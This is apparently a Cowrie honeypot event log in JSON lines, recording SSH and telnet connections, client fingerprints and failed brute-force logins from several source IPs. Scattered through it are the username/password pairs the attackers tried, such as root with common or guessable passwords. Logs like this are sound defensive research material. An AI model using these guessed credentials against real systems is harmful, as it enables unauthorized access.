{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:42.792240Z","src_ip":"8.218.166.49","session":"8d9697d93112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":36138,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc157f003a6","protocol":"ssh","message":"New connection: 139.59.208.49:36138 (159.203.135.109:22) [session: 2cc157f003a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:43.795742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:43.800847Z","src_ip":"139.59.208.49","session":"2cc157f003a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:43.886230Z","src_ip":"139.59.208.49","session":"2cc157f003a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":59924,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e48778fef3a","protocol":"ssh","message":"New connection: 124.155.125.131:59924 (159.203.135.109:22) [session: 9e48778fef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:44.082021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:44.086441Z","src_ip":"124.155.125.131","session":"9e48778fef3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fy","message":"login attempt [root/fy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:44.257668Z","src_ip":"139.59.208.49","session":"2cc157f003a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:44.267062Z","src_ip":"124.155.125.131","session":"9e48778fef3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walden","message":"login attempt [root/walden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:45.002048Z","src_ip":"124.155.125.131","session":"9e48778fef3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:45.357901Z","src_ip":"139.59.208.49","session":"2cc157f003a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:46.184824Z","src_ip":"124.155.125.131","session":"9e48778fef3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":46917,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdfb1d2ca048","protocol":"ssh","message":"New connection: 88.147.30.59:46917 (159.203.135.109:22) [session: bdfb1d2ca048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:52.436828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:52.442004Z","src_ip":"88.147.30.59","session":"bdfb1d2ca048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:52.564560Z","src_ip":"88.147.30.59","session":"bdfb1d2ca048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:53.072479Z","src_ip":"88.147.30.59","session":"bdfb1d2ca048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":46376,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2cc41df184","protocol":"telnet","message":"New connection: 104.238.81.133:46376 (10.17.0.5:23) [session: 8c2cc41df184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:53.333622Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:54.195772Z","src_ip":"88.147.30.59","session":"bdfb1d2ca048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:55.936271Z","src_ip":"8.218.166.49","session":"85c749bb6da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"71.9","message":"Connection lost after 71.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:14:57.582675Z","src_ip":"8.218.166.49","session":"85c749bb6da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:01.801342Z","src_ip":"8.218.166.49","session":"8d9697d93112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":48738,"dst_ip":"10.17.0.5","dst_port":23,"session":"f83c91bb5526","protocol":"telnet","message":"New connection: 104.238.81.133:48738 (10.17.0.5:23) [session: f83c91bb5526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:03.408126Z"}
{"eventid":"cowrie.session.closed","duration":"31.7","message":"Connection lost after 31.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:13.275251Z","src_ip":"8.218.166.49","session":"8d9697d93112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:19.720677Z","src_ip":"8.218.166.49","session":"601e2a050503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:19.728612Z","src_ip":"8.218.166.49","session":"578cd7bade8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7879958152771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:24.121518Z","src_ip":"104.238.81.133","session":"8c2cc41df184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:33.013971Z","src_ip":"8.218.166.49","session":"49042f31c5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67286252975464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:34.080871Z","src_ip":"104.238.81.133","session":"f83c91bb5526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":52000,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc77243ad66f","protocol":"ssh","message":"New connection: 139.59.208.49:52000 (159.203.135.109:22) [session: bc77243ad66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:45.515174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:45.519755Z","src_ip":"139.59.208.49","session":"bc77243ad66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:45.604713Z","src_ip":"139.59.208.49","session":"bc77243ad66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nocnoc","message":"login attempt [root/nocnoc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:45.967682Z","src_ip":"139.59.208.49","session":"bc77243ad66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:47.052899Z","src_ip":"139.59.208.49","session":"bc77243ad66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:57.571755Z","src_ip":"8.218.166.49","session":"578cd7bade8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":52150,"dst_ip":"159.203.135.109","dst_port":22,"session":"5972ec0f9a47","protocol":"ssh","message":"New connection: 190.167.237.191:52150 (159.203.135.109:22) [session: 5972ec0f9a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:58.516932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:58.521164Z","src_ip":"190.167.237.191","session":"5972ec0f9a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:58.574114Z","src_ip":"190.167.237.191","session":"5972ec0f9a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lloyd","message":"login attempt [root/lloyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:58.816579Z","src_ip":"190.167.237.191","session":"5972ec0f9a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:15:59.871993Z","src_ip":"190.167.237.191","session":"5972ec0f9a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":34710,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9399cb39159","protocol":"ssh","message":"New connection: 124.155.125.131:34710 (159.203.135.109:22) [session: d9399cb39159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:01.330462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:01.335639Z","src_ip":"124.155.125.131","session":"d9399cb39159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:01.512521Z","src_ip":"124.155.125.131","session":"d9399cb39159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:16:02.040380Z","src_ip":"8.218.166.49","session":"601e2a050503","protocol":"ssh"}
